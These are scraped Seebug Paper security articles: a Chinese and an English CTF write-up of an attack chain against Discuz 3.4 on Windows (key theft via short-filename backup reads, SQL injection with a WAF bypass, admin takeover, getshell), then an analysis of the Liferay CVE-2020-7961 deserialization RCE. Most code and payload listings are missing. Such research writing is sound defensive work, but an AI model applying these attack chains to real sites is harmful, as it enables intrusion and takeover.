    1、Web环境的后端为Windows
    2、我们获得了一份config文件,里面有最重要的authkey

    得到这两个条件之后,我们开始这次的渗透过程。

    以下可能会多次提到的出题人写的DZ漏洞整理

    authkey有什么用?

    authkey是DZ安全体系里最重要的主密钥,在DZ本体中,涉及到密钥相关的,基本都是用authkey和cookie中的saltkey加密构造的。

    当我们拥有了这个authkey之后,我们可以计算DZ本体各类操作相关的formhash(DZ所有POST相关的操作都需要计算formhash)

    配合authkey,我们可以配合source/include/misc/misc_emailcheck.php中的修改注册邮箱项来修改任意用户绑定的邮箱,但管理员不能使用修改找回密码的api。

    可以用下面的脚本计算formhash

    当我们发现光靠authkey没办法进一步渗透的时候,我们把目标转回到hint上。

    1、Web环境的后端为Windows
    2、dz有正常的备份数据,备份数据里有重要的key值

    windows短文件名安全问题

    在2019年8月,dz曾爆出过这样一个问题。

    在windows环境下,有许多特殊的有关通配符类型的文件名展示方法,其中不仅仅有 <>"这类可以做通配符的符号,还有类似于~的省略写法。这个问题由于问题的根在服务端,所以cms无法修复,所以这也就成了一个长久的问题存在。

    具体的细节可以参考下面这篇文章:

    配合这两篇文章,我们可以直接去读数据库的备份文件,这个备份文件存在

    我们可以直接用

    拿到数据库文件

    从数据库文件中,我们可以找到UC_KEY(dz)

    pre_ucenter_applications的authkey字段找到UC_KEY(dz)

    至此我们得到了两个信息:

    当我们有了这两个key之后,我们可以直接调用uc_client的uc.php任意api。,后面的进一步利用也是建立在这个基础上。

    uc.php api 利用

    这里我们主要关注/api/uc.php

    通过UC_KEY来计算code,然后通过authkey计算formhash,我们就可以调用当前api下的任意函数,而在这个api下有几个比较重要的操作。

    我们先把目光集中到updateapps上来,这个函数的特殊之处在于由于DZ直接使用preg_replace替换了UC_API,可以导致后台的getshell。

    具体详细分析可以看,这个漏洞最初来自于@dawu,我在CSS上的演讲中提到过这个后台getshell:

    根据这里的操作,我们可以构造$code = 'time='.time().'&action=updateapps';

    来触发updateapps,可以修改配置中的UC_API,但是在之前的某一个版本更新中,这里加入了条件限制。

    由于过滤了单引号,导致我们注入的uc api不能闭合引号,所以单靠这里的api我们没办法完成getshell。

    换言之,我们必须登录后台使用后台的修改功能,才能配合getshell。至此,我们的渗透目标改为如何进入后台。

    如何进入DZ后台?

    首先我们必须明白,DZ的前后台账户体系是分离的,包括uc api在内的多处功能,login都只能登录前台账户,

    也就是说,进入DZ的后台的唯一办法就是必须知道DZ的后台密码,而这个密码是不能通过前台的忘记密码来修改的,所以我们需要寻找办法来修改密码。

    这里主要有两种办法,也对应两种攻击思路:

    1、配合报错注入的攻击链
    2、使用数据库备份还原修改密码

    1、配合报错注入的攻击链

    继续研究uc.php,我在renameuser中找到一个注入点。

    在函数的最下面,$get[newusername]被直接拼接进了update语句中。

    但可惜的是,这里链接数据库默认使用mysqli,并不支持堆叠注入,所以我们没办法直接在这里执行update语句来更新密码,这里我们只能构造报错注入来获取数据。

    这里值得注意的是,DZ自带的注入waf挺奇怪的,核心逻辑在

    然后config中相关的配置为

    这道题目特殊的地方在于,他开启了afullnote

    由于/**/被替换为空,所以我们可以直接用前面的逻辑把select加入到这中间,之后被替换为空,就可以绕过这里的判断。

    当我们得到一个报错注入之后,我们尝试读取文件内容,发现由于mysql是5.5.29,所以我们可以直接读取服务器上的任意文件。

    思路走到这里出现了断层,因为我们没办法知道web路径在哪里,所以我们没办法直接读到web文件,这里我僵持了很久,最后还是因为第一个人做出题目后密码是弱密码,我直接查出来进了后台。

    在事后回溯的过程中,发现还是有办法的,虽然说对于windows来说,web的路径很灵活,但是实际上对于集成环境来说,一般都安装在c盘下,而且一般人也不会去动服务端的路径。常见的windows集成环境主要有phpstudy和wamp,这两个路径分别为

    找到相应的路径之后,我们可以读取\uc_server\data\config.inc.php得到uc server的UC_KEY.

    之后我们可以直接调用/uc_server/api/dpbak.php中定义的

    构造管理员的sid来绕过权限验证,通过这种方式我们可以修改密码并登录后台。

    2、使用数据库备份还原修改密码

    事实上,当上一种攻击方式跟到uc server的UC_KEY时,就不难发现,在/uc_server/api/dbbak.php中有许多关于数据库备份与恢复的操作,这也是我之前没发现的点。

    事实上,在/api/dbbak.php就有一模一样的代码和功能,而那个api只需要DZ的UC_KEY就可以操作,我们可以在前台找一个地方上传,然后调用备份恢复覆盖数据库文件,这样就可以修改管理员的密码。

    后台getshell

    登录了之后就比较简单了,首先

    修改uc api 为

    然后使用预先准备poc更新uc api

    这里返回11就可以了

    写在最后

    整道题目主要围绕的DZ的核心密钥安全体系,实际上除了在windows环境下,几乎没有其他的特异条件,再加上短文件名问题原因主要在服务端,我们很容易找到备份文件,在找到备份文件之后,我们可以直接从数据库获得最重要的authkey和uc key,接下来的渗透过程就顺理成章了。

    从这篇文章中,你也可以窥得在不同情况下利用方式得拓展,配合原文阅读可以获得更多的思路。

    REF


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1197/

    作者:江 | Categories:技术分享 | Tags:
  • NULL Pointer 3th Web Challenge Writeup — The latest version of DZ3.4 penetration

    2020-11-02

    Author:LoRexxar@Knownsec 404 Team 
    Time: May 11, 2020 
    Chinese version: https://paper.seebug.org/1197/

    I took a look at the third Web Open of the null pointer this weekend, and after a little research, I found that this is the latest version of the DZ3.4 environment with almost default configuration. We need to pwn it in such a DZ under almost real environment. This moment raised my interest, and then we will sort out the penetration process together.

    The difference from the default environment is that we have two additional conditions. 1. The backend of the web environment is Windows; 2. We get a config file which contains an insecure configuration(and authkey)

    After getting these two conditions, we started the penetration.

    The following may be mentioned repeatedly DZ vulnerability written by the author.

    What is the use of authkey

    authkey is the most important master key in the DZ security system. In the DZ Website, the key related is basically constructed with the authkey and saltkey which encrypt in the cookie.

    After we have this authkey, we can calculate the formhash related to various operations of the DZ (all POST-related operations of DZ need to calculate the formhash)

    With authkey, we can cooperate with the function in source / include / misc / misc_emailcheck.php to modify the email for any user, but the administrator cannot use the API to change the password.

    You can use the following script to calculate the formhash

    When we found that authkey alone could not penetrate further, we turned our goal back to hint.

    1. The backend of the web environment is Windows
    2. dz has normal backup data, and there is an important key value in the backup data

    Windows short file name security issue

    In August 2019, dz had such a problem.

    In the windows environment, there are many special methods for displaying file names related to wildcard types, among which are not only <>"This type of symbol can be used as a wildcard, and there is an ellipsis similar to~. This problem is because the server, so cms cannot be repaired, so this has become a long-term problem .

    For specific details, please refer to the following article:

    With these two articles, we can directly read the backup file of the database.

    This backup file exists in

    We can use

    From the database file, we can find UC_KEY (dz) Find UC_KEY (dz) in the authkey field of pre_ucenter_applications

    So far we have got two pieces of information:

    When we have these two keys, we can directly call any api in uc.php. The further use of the latter is also based on this.

    Uc.php api use

    Here we focus on the /api/uc.php.

    Calculate the code through UC_KEY, and then calculate the formhash throughauthkey, we can call any function under the api, and there are several more important operations under this api.

    Let's focus on updateapps first. The special feature of this function is that DZ directly replacesUC_API with preg_replace, which can lead to getshell in the background.

    Specific detailed analysis can be seen, this vulnerability originally came from @dawu, I mentioned this background getshell in my CSS speech:

    According to the operation here, we can construct $ code = 'time ='. Time (). '& Action = updateapps';

    To trigger updateapps, you can modify the UC_API in the configuration, but in a previous version update, conditions were added here.

    Due to the filtering of single quotes, the uc api we injected cannot close the quotes, so we can’t complete the getshell with the api alone.

    In other words, we must login to the background and use the background modification function to cooperate with getshell. So far, our goal of penetration has changed to how to login into the background.

    How to login into the DZ background

    First of all, we must understand that DZ's front-end and back-end account systems are separate. There are many functions including uc api, can only login to the front-end account.

    In other words, the only way to enter the background of DZ is to know the background password of DZ, and this password cannot be changed by forget the password at the front desk, so we need to find a way to change the password.

    There are two main methods here, which also correspond to two attack ideas: 1. Attack chain with error SQL injection 2. Use the database backup to restore and change the password

    1. Attack chain with error SQL injection

    Continue to study uc.php, I found an injection point in function renameuser.

    At the bottom of the function, $get[newusername] is directly spliced into the update statement.

    But unfortunately, the linked database uses mysqli by default, and does not support stack injection, so we can't directly execute the update statement here to update the password. Here we can only construct an error injection to obtain data.

    It is worth noting here that the injection waf that comes with DZ is quite strict, the core logic is in.

    and the configure in:

    It open the afullnote in this challenge.

    Since /**/ is replaced with empty, we can directly add select to the middle, and then replaced with empty, we can bypass the waf here.

    When we got an error injection, we tried to read the file content and found that because mysql is 5.5.29, we can directly read any file on the server.

    When the idea came here, there was a fault, because we couldn't know where the web path was, so we couldn't read the web file directly. Here I was deadlocked for a long time, and finally the password was weak after the first person made the question. I went straight into the background.

    In the process of backtracking, I found that there is still a way. Although the path of the web is very flexible for windows, in fact, for integrated environments, it is generally installed under the c drive, and most people will not move. The server path. Common windows integrated environment mainly includes phpstudy and wamp, these two paths are respectively

    After finding the corresponding path, we can read \uc_server\data\config.inc.php to getUC_KEYof uc server.

    After that we can directly call the one defined in /uc_server/api/dpbak.php

    Construct the administrator's sid to bypass the authorization verification, in this way we can modify the password and login to the background.

    2. Use the database backup to restore and change the password

    In fact, when the last attack method followed the UC server's UC_KEY, it is not difficult to find that there are many operations about database backup and recovery in/uc_server/api/dbbak.php, which is also my previous Not found.

    In fact, there is exactly the same code and function in /api/dbbak.php, and that api only needs DZ ’sUC_KEY to operate, we can find a place to upload at the front desk, and then call backup to restore and overwrite the database , So that the administrator's password can be changed.

    Getshell in backend

    After logging in, it is relatively simple, first

    modify the uc api to

    then, use api to update uc api

    Here return 11 means success

    Finally

    The whole question mainly surrounds the core key security system of DZ. In fact, except for the Windows environment, there are almost no other special conditions. In addition, the short file name problem is mainly on the server side. We can easily find the backup file. After finding the backup file, we can obtain the most important authkey and uc key directly from the database, and the subsequent infiltration process is logical.

    From this article, you can also get a glimpse of the ways in which you can use it in different situations, and you can get more ideas with the original text.

    REF


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1205/

    作者:江 | Categories:技术分享 | Tags:
  • Liferay Portal Json Web Service Deserialization Vulnerability (CVE-2020-7961) Analysis

    2020-11-02

    Author:Longofo@Knownsec 404 Team 
    Time: March 27, 2020 
    Chinese version:https://paper.seebug.org/1162/

    A vulnerability on Liferay Portal JSON Web Service RCE was previously posted on CODE WHITE. At first, my friends were dealing with this vulnerability, and I went to see it later. Liferay Portal uses Flexjson library for JSON Web Service processing in 6.1 and 6.2 versions, and replaced it with Jodd Json after version 7.

    In summary, the vulnerability is: Liferay Portal provides Json Web Service service. For some endpoints that can be called, if a method provides Object parameter type, then we can construct an exploitable malicious class that conforms to Java Beans and pass the constructed json deserialization string, Liferay will automatically call the setter method of the malicious class and the default constructor when deserializing. However, there are still some details, and I feels quite interesting. In this article, the analysis of Liferay using JODD deserialization.

    JODD Serialization And Deserialization

    Refer to the Official User Manual, first look at the direct serialization and deserialization of JODD:

    TestObject.java:

    TestObject1.java

    Test.java

    Output:

    In Test.java, two ways are used. First one is the commonly used way. The root type is specified when deserializing. The second official does not recommend this,security issues are exist. Assume up this application provides a place to receive JODD Json, and uses the second way, you can deserialize any type specified。The Liferay vulnerability is not caused by this reason, because it does not use setClassMetadataName("class").

    Liferay's Packaging For JODD

    Liferay does not directly use JODD for processing, but repackages some functions of JODD. The code is not long, so we will use JODD separately to analyze Liferay's packaging of JsonSerializer and JsonParser.

    JSONSerializerImpl

    Liferay's wrapper for JODD JsonSerializer is the com.liferay.portal.json.JSONSerializerImplclass:

    It can be seen that some functions of the JODD JsonSerializer are set during serialization.

    JSONDeserializerImpl

    Liferay's wrapper for JODD JsonParser is the com.liferay.portal.json.JSONDeserializerImpl class:

    It can be seen that some functions of the JODD JsonParser are also set when deserializing.

    Liferay Vulnerability Analysis

    Liferay provides hundreds of webservices that can be called in the /api/jsonws API. The servlet responsible for processing the API is also directly configured in web.xml:

    look at this methods:

    Seeing this, something occur.We can pass parameters for method calls. There are p_auth for verification, but deserialization is before verification, so that value does not works for exploit. According to the analysis of CODE WHITE, there are method parameters with parameter type Object, so guess that we can pass in any type of class. We can first debug the normal packet capture call to debug, and here does not write the normal call debugging process, simply look at the post parameters:

    In general, Liferay first finds the method corresponding to /announcementsdelivery/update-delivery-> other post parameters are method parameters-> when each parameter object type is consistent with the target method parameter type-> Restore the parameter object-> call this method with reflection. However, there is no type specification for packet capture, because most types are String, long, int, List, map and others,JODD will automatically handle it when deserializing. In this section,how to specify a specific type?

    The author mentioned in the article that Liferay Portal 7 can only specified rootType for invocation. This is also the case from the above Liferay's JODD JSONDeserializerImpl packaging. If you want to restore a specific object when a method parameter is of type Object,maybe it will parse the data, obtain the specified type, and then call the parse (path, class) method of JODD using specific type to restore it ;maybe Liferay not do. However, it can be seen from the author's analysis that Liferay did. The author looked up the call graph of jodd.json.Parser#rootType (envy such a tool):

    looking up this, the author found a place where a root type could be specified. In com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl call the com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType ), looseDeserialize calls JSONSerializerImpl, and JSONSerializerImpl calls JODD's JsonParse.parse.

    And the call on com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl is the process of Liferay parsing the Web Service parameters. Its upper levelJSONWebServiceActionImpl#_prepareParameters(Class <?>), The JSONWebServiceActionImpl class has a _jsonWebServiceActionParameters attribute:

    This property also holds a JSONWebServiceActionParametersMap. In its method, when the parameter starts with+, its put method splits the passed parameters with:, before : is parameter name,after : is type name:

    The put parsing operation is completed in com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction # _executeStatement:

    Through the above analysis and author's article, we can know the following points:

    • Liferay allows us to call web service methods via /api/jsonws/xxx
    • The parameter can start with +, use : to specify the parameter type
    • JODD JsonParse will call the class's default constructor and the setter method corresponding to the field

    So we need to find the class that has malicious operations in the setter method or the default constructor. Look at the exploitation chain that marshalsec has provided,we can directly find the inherited exploitation chain. Most of them are also suitable for this vulnerability,it also depends on whether it exists in Liferay. Here are the test com.mchange.v2.c3p0.JndiRefForwardingDataSource, use the service/expandocolumn/add-column, because it has java.lang.Object parameter:

    Payload is as follows:

    Parsed the parameter type, deserialized the parameter object, and finally reached the jndi query:

    Patch Analysis

    Liferay patch adds type checking, in com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl # _checkTypeIsAssignable:

    _JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES contains all whitelist classes in portal.properties. Basically, all whitelist classes start with com.liferay.


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1163/

    作者:江 | Categories:技术分享 | Tags: